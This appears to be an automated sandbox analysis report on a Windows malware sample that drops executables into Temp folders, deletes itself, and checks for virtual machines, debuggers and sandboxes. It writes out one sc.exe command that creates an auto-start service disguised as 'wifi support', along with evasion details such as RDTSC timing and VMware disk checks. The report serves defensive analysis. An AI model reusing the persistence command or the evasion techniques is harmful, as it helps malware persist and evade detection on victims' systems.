Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\9889.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D502.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\BB8A.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\FB58.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\jgdhbua	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\CADF.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\A4DE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\D936.exe	File created: C:\Users\user\AppData\Local\Temp\krmdinzg.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6C37.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\E3A9.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\A332.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\CCB2.exe	Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe (copy)

Jump to dropped file

Source: C:\Windows\SysWOW64\svchost.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\qeprvgom

Source: C:\Users\user\AppData\Local\Temp\D936.exe

Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create qeprvgom binPath= "C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe /d\"C:\Users\user\AppData\Local\Temp\D936.exe\"" type= own start= auto DisplayName= "wifi support

Source: C:\Users\user\AppData\Local\Temp\D936.exe

17_2_00409A6B

Hooking and other Techniques for Hiding and Protection:

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\ecd2mpebsf.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\jgdhbua:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CCB2.exe

Code function: 15_2_0040C2E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,

15_2_0040C2E0

Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX

Malware Analysis System Evasion:

Found evasive API chain (may stop execution after checking mutex)

Show sources

Source: C:\Users\user\AppData\Local\Temp\CCB2.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_15-9052

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: ECD2MpEBSf.exe, 00000001.00000002.721906025.0000000001FA0000.00000004.00000001.sdmp, jgdhbua, 0000000B.00000002.776633448.000000000051B000.00000004.00000020.sdmp

Binary or memory string: ASWHOOK

Found evasive API chain (may stop execution after checking locale)

Show sources

Source: C:\Users\user\AppData\Local\Temp\CCB2.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_15-9050

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\AppData\Local\Temp\E3A9.exe	RDTSC instruction interceptor: First address: 00000000008841C1 second address: 00000000008841C7 instructions: 0x00000000 rdtsc 0x00000002 dec esp 0x00000003 mov edi, esi 0x00000005 push esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E3A9.exe	RDTSC instruction interceptor: First address: 00000000008841C7 second address: 0000000000794FA4 instructions: 0x00000000 rdtsc 0x00000002 cwd 0x00000004 lahf 0x00000005 inc ecx 0x00000006 push esp 0x00000007 inc ecx 0x00000008 setno cl 0x0000000b cbw 0x0000000d push ebx 0x0000000e inc cx 0x00000010 movzx esi, ch 0x00000013 inc ecx 0x00000014 mov cl, E5h 0x00000016 push edi 0x00000017 jmp 00007F6C94EE7CC4h 0x0000001c pushfd 0x0000001d cwde 0x0000001e bswap eax 0x00000020 push ebp 0x00000021 cwd 0x00000023 dec ecx 0x00000024 ror edi, 03h 0x00000027 jmp 00007F6C94F14070h 0x0000002c dec esp 0x0000002d lea edi, dword ptr [FF86B0BCh] 0x00000033 inc ecx 0x00000034 push edi 0x00000035 inc ecx 0x00000036 add dh, 00000065h 0x00000039 inc cx 0x0000003b rcr ecx, 29h 0x0000003e dec esp 0x0000003f mov ecx, dword ptr [esp+00000090h] 0x00000046 cwd 0x00000048 inc ecx 0x00000049 neg ecx 0x0000004b rcl esi, cl 0x0000004d inc ecx 0x0000004e ror ecx, 02h 0x00000051 inc ecx 0x00000052 inc ecx 0x00000054 dec ebp 0x00000055 and esi, edi 0x00000057 inc ebp 0x00000058 test bl, bl 0x0000005a inc ecx 0x0000005b bswap ecx 0x0000005d dec ebp 0x0000005e add ecx, edi 0x00000060 inc cx 0x00000062 rol esi, FFFFFFA4h 0x00000065 dec eax 0x00000066 mov esi, esp 0x00000068 inc ecx 0x00000069 adc bl, FFFFFFD9h 0x0000006c dec eax 0x0000006d sub esp, 00000140h 0x00000073 dec eax 0x00000074 cwde 0x00000075 inc bp 0x00000077 btr esi, esi 0x0000007a cbw 0x0000007c dec eax 0x0000007d and esp, FFFFFFF0h 0x00000083 dec eax 0x00000084 bt edx, edi 0x00000087 dec ebp 0x00000088 mov esi, ecx 0x0000008a btc dx, FFDCh 0x0000008f dec ebp 0x00000090 movzx ebx, cx 0x00000093 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E3A9.exe	RDTSC instruction interceptor: First address: 000000000083A52F second address: 000000000083A535 instructions: 0x00000000 rdtsc 0x00000002 dec cl 0x00000004 neg cl 0x00000006 rdtsc

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jgdhbua	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jgdhbua	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jgdhbua	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jgdhbua	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jgdhbua	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jgdhbua	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Show sources

Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_15-10104
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep			graph_15-10104

Contains functionality to detect sleep reduction / modifications

Show sources

Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00406AA0		15_2_00406AA0
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00686CF0		15_2_00686CF0

Found evasive API chain (may stop execution after checking computer name)

Show sources

Source: C:\Users\user\AppData\Local\Temp\CCB2.exe

Evasive API call chain: GetComputerName,DecisionNodes,Sleep

graph_15-10064

Source: C:\Windows\explorer.exe TID: 6548	Thread sleep count: 609 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6500	Thread sleep count: 248 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6504	Thread sleep count: 286 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5460	Thread sleep count: 376 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6392	Thread sleep count: 200 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe TID: 5488	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6656	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 3408	Thread sleep count: 52 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 3408	Thread sleep time: -52000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\D936.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Users\user\AppData\Local\Temp\3D34.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 609			Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 376			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	API coverage: 8.1 %
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	API coverage: 6.2 %
Source: C:\Users\user\AppData\Local\Temp\D936.exe	API coverage: 5.9 %
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	API coverage: 4.4 %

Source: C:\Users\user\AppData\Local\Temp\CCB2.exe

Code function: 15_2_00686CF0

15_2_00686CF0

Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\888A.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\9889.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\A4DE.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\6C37.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\CCB2.exe

Evaded block: after key decision

graph_15-10050

Source: C:\Users\user\AppData\Local\Temp\3D34.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	API call chain: ExitProcess graph end node	graph_0-20964
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	API call chain: ExitProcess graph end node	graph_15-8981
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	API call chain: ExitProcess graph end node	graph_15-10075
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	API call chain: ExitProcess graph end node	graph_15-9041

Source: explorer.exe, 00000005.00000000.714532434.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.711357755.0000000006650000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.714532434.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.715039633.000000000A716000.00000004.00000001.sdmp	Binary or memory string: War&Prod_VMware_SATAa
Source: WerFault.exe, 00000010.00000002.807170745.00000000049D8000.00000004.00000001.sdmp, WerFault.exe, 00000010.00000003.803902943.00000000049D6000.00000004.00000001.sdmp, svchost.exe, 00000018.00000002.818844082.000002A078C83000.00000004.00000001.sdmp, svchost.exe, 00000018.00000002.819053495.000002A078CEE000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: WerFault.exe, 00000010.00000002.806997904.0000000004960000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW8$
Source: explorer.exe, 00000005.00000000.679464850.0000000004710000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000005.00000000.715039633.000000000A716000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000005.00000000.715488608.000000000A784000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D936.exe

Code function: 17_2_00401D96 CreateThread,GetVersionExA,GetSystemInfo,GetModuleHandleA,GetProcAddress,GetCurrentProcess,GetTickCount,

17_2_00401D96

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 0_2_004198CC GetPrivateProfileSectionW,BuildCommDCBAndTimeoutsW,CreateMailslotA,CallNamedPipeA,ReleaseSemaphore,FindAtomA,SystemTimeToTzSpecificLocalTime,SetComputerNameExA,GetConsoleCursorInfo,TlsGetValue,CopyFileA,GetLongPathNameW,SetVolumeMountPointW,SetProcessPriorityBoost,FreeEnvironmentStringsA,GetDriveTypeA,FindFirstFileExW,	0_2_004198CC
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	15_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	15_2_00401280
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	15_2_00401090
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	15_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_00409970
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00688A30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_00688A30
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_006812E0 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	15_2_006812E0
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_006814D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	15_2_006814D0
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00686090 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_00686090
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00689930 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	15_2_00689930
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00689BC0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_00689BC0
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00689D90 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	15_2_00689D90

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\jgdhbua	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe

0_2_0042D770

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 0_2_00570042 push dword ptr fs:[00000030h]	0_2_00570042
Source: C:\Users\user\AppData\Roaming\jgdhbua	Code function: 9_2_006F0042 push dword ptr fs:[00000030h]	9_2_006F0042
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_00690083 push dword ptr fs:[00000030h]	12_2_00690083
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_0208092B mov eax, dword ptr fs:[00000030h]	12_2_0208092B
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_02080D90 mov eax, dword ptr fs:[00000030h]	12_2_02080D90
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00401000 mov eax, dword ptr fs:[00000030h]	15_2_00401000
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_0040C180 mov eax, dword ptr fs:[00000030h]	15_2_0040C180
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_0068092B mov eax, dword ptr fs:[00000030h]	15_2_0068092B
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00681250 mov eax, dword ptr fs:[00000030h]	15_2_00681250
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_0068C3D0 mov eax, dword ptr fs:[00000030h]	15_2_0068C3D0
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00680D90 mov eax, dword ptr fs:[00000030h]	15_2_00680D90
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Code function: 17_2_022B092B mov eax, dword ptr fs:[00000030h]	17_2_022B092B
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Code function: 17_2_022B0D90 mov eax, dword ptr fs:[00000030h]	17_2_022B0D90
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Code function: 32_2_006C092B mov eax, dword ptr fs:[00000030h]	32_2_006C092B
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Code function: 32_2_006C0D90 mov eax, dword ptr fs:[00000030h]	32_2_006C0D90

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\jgdhbua	Process queried: DebugPort			Jump to behavior

